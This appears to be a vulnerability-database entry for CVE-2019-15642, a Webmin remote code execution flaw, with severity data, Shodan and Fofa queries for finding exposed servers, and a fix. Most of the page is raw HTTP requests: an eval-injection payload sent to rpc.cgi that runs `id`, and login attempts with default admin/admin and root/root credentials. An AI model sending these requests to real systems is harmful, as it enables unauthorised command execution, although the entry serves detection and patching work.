| Title | Webmin < 1.920 - Authenticated Remote Code Execution |
|---|---|
| Author | pussycat0x |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade Webmin to version 1.920 or later to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.92499 |
| CVE ID | CVE-2019-15642 |
| CWE ID | CWE-94 |
| Shodan Query | title:"Webmin"http.title:"webmin" |
| Fofa Query | title="webmin" |
| Tags | cve cve2019 webmin rce vkev vuln |
rpc.cgi in Webmin through 1.920 allows authenticated Remote Code Execution via a crafted object name because unserialise_variable makes an eval call. NOTE: the Webmin_Servers_Index documentation states “RPC can be used to run any command or modify any file on a server, which is why access to it must not be granted to un-trusted Webmin users.”
POST /rpc.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Content-Length: 78
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //sysinfo.cgi?xnavigation=1
Connection: close
OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd=`id`;print "$cmd\n\n";
POST /rpc.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Content-Length: 78
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //sysinfo.cgi?xnavigation=1
Connection: close
OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd=`id`;print "$cmd\n\n";
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Length: 21
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1; testing=1
Origin: /
Referer: /
Connection: close
user=admin&pass=admin
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Length: 19
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1; testing=1
Origin: /
Referer: /
Connection: close
user=root&pass=root
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15642.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-15642.pcap
N/AN/A